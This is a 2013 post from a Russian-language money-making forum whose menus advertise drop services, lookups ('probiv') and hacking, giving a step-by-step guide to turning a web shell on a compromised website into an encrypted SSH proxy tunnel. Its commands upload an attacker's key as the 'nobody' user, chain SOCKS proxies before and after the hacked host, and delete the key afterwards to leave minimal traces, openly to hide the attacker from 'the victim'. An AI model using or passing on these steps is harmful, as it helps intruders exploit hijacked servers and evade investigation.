MoneyMaker - здесь делают деньги! MoneyMaker - здесь делают деньги!

Пробив, взлом
Форум Darkmoney Форум Дубликат
Дроп-сервис
Электронные кошельки, карты, идентификация
Пробив, детализация
probivbiz
Курсы по анонимности и безопасности Чат Манимейкера
Благотворительный фонд
SkyCash
Гарант-сервис, безопасные покупки


Вернуться   MoneyMaker - здесь делают деньги! > Анонимность и безопасность > Теория и практика АиБ


Теория и практика АиБ Раздел для обсуждений вопросом по анонимности и безопасности. Статьи, книжки, вопросы и ответы.

garant
Like Tree2Likes
  • 2 Post By brotherX

Ответ
 
LinkBack Опции темы Опции просмотра
Старый 01.12.2013, 08:52   #1
Начинающий манимэйкер
 
Регистрация: 03.08.2013
Сообщений: 180
Депозит: 0 р.
Сделок через ГАРАНТ: 0
Покупок через ГАРАНТ:
По умолчанию Как сделать впн из простого вебшелла.

Как сделать впн из вебшелла

--- специально для rdot.org
--- копирование только со ссылкой на источник

Преамбула, или зачем это вообще нужно:

Вопрос обеспечения собственной безопасности всегда актуален.

Сокс (цепочка соксов) скрывает от жертвы IP атакующего, но траффик идёт в открытом виде, и может быть прослушан, потому на смену соксам пришёл ВПН.




ВПН обеспечивает надёжное шифрование, но имеет ряд недостатков (часть которых в теории можно решить правильной реализацией впн-схемы).
Для того, чтобы поднять впн-сервер, нужны права рута, что вкупе с относительно сложной настройкой приводит к ситуации, когда ВПН-сервер меняется редко, оставаясь месяцами и даже годами в одной и той же точке - первая ошибка.

ВПН позволяет управлять маршрутами только на уровне подсетей, тогда как на практике гораздо удобнее маршрутизировать траффик на уровне приложений (направлять Firefox по одному маршруту, Safari по другому, а netbios оставлять в локальной сети). Это ограничение приводит ко второй ошибке - использование впн соединения на основной операционной системе (правильно использовать впн внутри виртуальной машины, работающей с криптоконтейнера), что, в свою очередь, приводит к нарушению одного из важнейших правил анонимности - никогда не смешивать идентифицирующий и компрометирующий траффик в одном тоннеле.

Трафик за ВПН к соксу (цепочке соксов) идёт в открытом виде, и может быть прослушан как владельцами ВПН-сервиса, так и другими заинтересованными лицами, имеющими доступ к каналу. Первая и вторая ошибки в совокупности создают удобную точку слежения - "бутылочное горлышко", которое собирает весь ваш траффик в одном месте, даже когда вы работаете из различных публичных wifi сетей, и приводит к ситуации, когда ВПН скорее вредит безопасности, чем помогает.

Даже если вы (а не третьи лица) контролируете ВПН-сервер, сопоставление входящего и исходящего траффика позволит узнать ваш IP.

Коротко, недостатки:
1) постоянная точка расшифровки
2) управление маршрутами на уровне сетей, а не на уровне приложений
3) сложно проксировать - только double-vpn

Для решения этих проблем удобно применять ssh тоннели.



OpenSSH поддерживает работу в режиме сокс5-сервера из коробки, без какой-либо настройки клиента и сервера, потому достаточно выполнить:
$ ssh [Ссылки могут видеть только зарегистрированные пользователи. ] -D 8081 -N
$ ssh [Ссылки могут видеть только зарегистрированные пользователи. ] -D 8082 -N
...
и вы получите серию проксирующих ssh-тоннелей к вашим серверам, как на картинке (Legalbox1, Legalbox2). Останется только прописать работу через socks5 прокси на соответствующих портах в нужных приложениях.

Зачем вообще нужны ssh-тоннели, когда можно недорого купить vpn?
Обыкновенные ssh-тоннели имеют несколько приятных преимуществ перед vpn - они легко проксируются, и позволяют управлять маршрутами на уровне приложений.

Основной плюс описанной в статье методики в том, что в качестве ключевого звена в нашей прокси-цепи - точки расшифровки - мы будем использовать обыкновенную "отработку", которая имеется в больших количествах и не представляет особой ценности - веб-шеллы на треш-сайтах, которые не удалось проапгрейдить до рута.
Таким образом, точка расшифровки, функции которой ранее выполнял постоянный впн-сервер, в нашем случае становится такой же динамичной и легкозаменяемой, как и обычные сокс-прокси.

На тему ssh тоннелей написано много, потому в детали углубляться не буду, перейду сразу к сути.
Считается, что для организации ssh-тоннеля нужно иметь полноценный shell.
Это не так.

Как сделать впн из вебшелла

Небольшое отступление:

OpenSSH умеет организовывать настоящий vpn через tun интерфейс. (ssh -w)
На эту тему можно почитать в гугле. Для решения практических задач нам это не интересно, так как
1) требует рута как минимум для настройки устройства tun
2) отключено по-умолчанию
3) заметно
4) ненужно, разве что для каких-то очень специфических задач.
Здесь и далее, говоря, что мы делаем впн, я подразумеваю, что мы получаем шифрованный проксирующий тоннель - именно то, что требуется от "настоящего" впн под наши задачи.


Способ первый - прямое подключение
(прямое - как противоположность обратному. Прокси до и после вебшелла можно и нужно использовать)

Итак, у нас есть обыкновенный вебшелл.
Путь в консоль нам преграждают две проблемы:

у нашего пользователя (nobody) не задан пароль. В etc/shadow указано что-то типа nobody:*:14069:0:99999:7:::
или nobody:!!:14069:0:99999:7:::. Для смены пароля нужно указать старый пароль, в итоге пароль сменить невозможно.
у нашего пользователя указан шелл /sbin/nologin или его аналог, а все современные юниксы требуют ввести пароль для смены шелла.


Первую проблему мы обходим с помощью авторизации по публичному ключу, вторая и не проблема вовсе, потому что для тоннеля шелл не нужен.

Зависимости:

/etc/ssh/sshd_config с настройками по-умолчанию, а именно:
не задан параметр AllowUsers в /etc/ssh/sshd_conf (по-умолчанию в конфиге не присутствует)
AllowTcpForwarding yes или закомментирован (по умолчанию закомментирован)
RSAAuthentication yes или закомментирован (по умолчанию закомментирован)
PubkeyAuthentication yes или закомментирован (по умолчанию закомментирован)
AuthorizedKeysFile в пределах домашней папки (по умолчанию закомментирован и равен .ssh/authorized_keys)
доступ на запись к домашнему каталогу
на некоторых хостах домашний каталог read-only, а писать можно только в public_html. Такие хосты не подходят.


$ локальные команды
$ команды на удалённом хосте

Создаём у себя пару секретный/публичный ключи:
$ ssh-keygen -t rsa

Берём файл id_rsa.pub и заливаем его в ~/.ssh/, переименовав в authorized_keys
Проставляем правильные права
$ ****d 755 ~/.ssh
$ ****d go-rwXx ~/.ssh/authorized_keys

Коннектимся, и получаем сокс5 у себя на порту 31337
$ ssh [Ссылки могут видеть только зарегистрированные пользователи. ] -D 31337 -N

...либо используем дополнительный Socks5 после вебшелла - "External Socks5" на картинке
$ ssh [Ссылки могут видеть только зарегистрированные пользователи. ] -L 31337:externalsocks.com:1080 -N

...либо используем соксы и до, и после вебшелла:
$ ssh [Ссылки могут видеть только зарегистрированные пользователи. ] -L 31337:externalsocks.com:1080 -N -o ProxyCommand="connect -S internalsocks.net:1080 %h %p"
линк на connect.c.

...прокси до и после вебшелла, альтернативный вариант, с поддержкой цепочек:
$ proxychains ssh [Ссылки могут видеть только зарегистрированные пользователи. ] -L 31337:externalsocks.com:1080 -N
[Ссылки могут видеть только зарегистрированные пользователи. ], прокси задаются в конфиге

Можно использовать пару ключей с внешнего носителя - для этого указываем путь к секретному ключу в параметре
-i /mnt/secure_fs/id_rsa

После того, как тоннель поднялся, можно удалить папку .ssh, если не планируется использовать тоннель на постоянной основе. Так вы оставите минимум следов.

В процессах будет

Код:
root     13768  0.0  2.1  10052  2804 ?        Ss   16:32   0:00 sshd: nobody [priv]
nobody   13774  0.0  1.0  10052  1408 ?        S    16:32   0:00 sshd: nobody
who и last ваше подключение не отображают.


Достоинства:

минимум настройки - залил ключ, поднял тоннель, попользовал, выкинул.
скромное присутствие в процессах
для смены внешних и внутренних соксов не нужен доступ к вебшеллу - тоннель рестартуется локально.
нет открытых портов
в случае использования прокси до вебшелла шелл не знает, кто вы
можно организовать тоннель даже при Safe_mode=ON

Недостатки:

в /var/log/secure остаётся запись о том, что пользователь nobody логинился с такого-то адреса.
иногда доступа на запись в домашний каталог нет


Линк (там много чего еще полезного) [Ссылки могут видеть только зарегистрированные пользователи. ]
hackdays and alexgood like this.

Последний раз редактировалось brotherX; 01.12.2013 в 08:53.
brotherX вне форума   Ответить с цитированием
Ответ

Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Trackbacks are Вкл.
Pingbacks are Вкл.
Refbacks are Вкл.



Текущее время: 03:01. Часовой пояс GMT.

Bes73 Bes73
garant
garant

Powered by vBulletin® Version 3.8.11
Copyright ©2000 - 2019, vBulletin Solutions, Inc. Перевод:
Search Engine Optimization by vBSEOzCarot
MoneyMaker.hk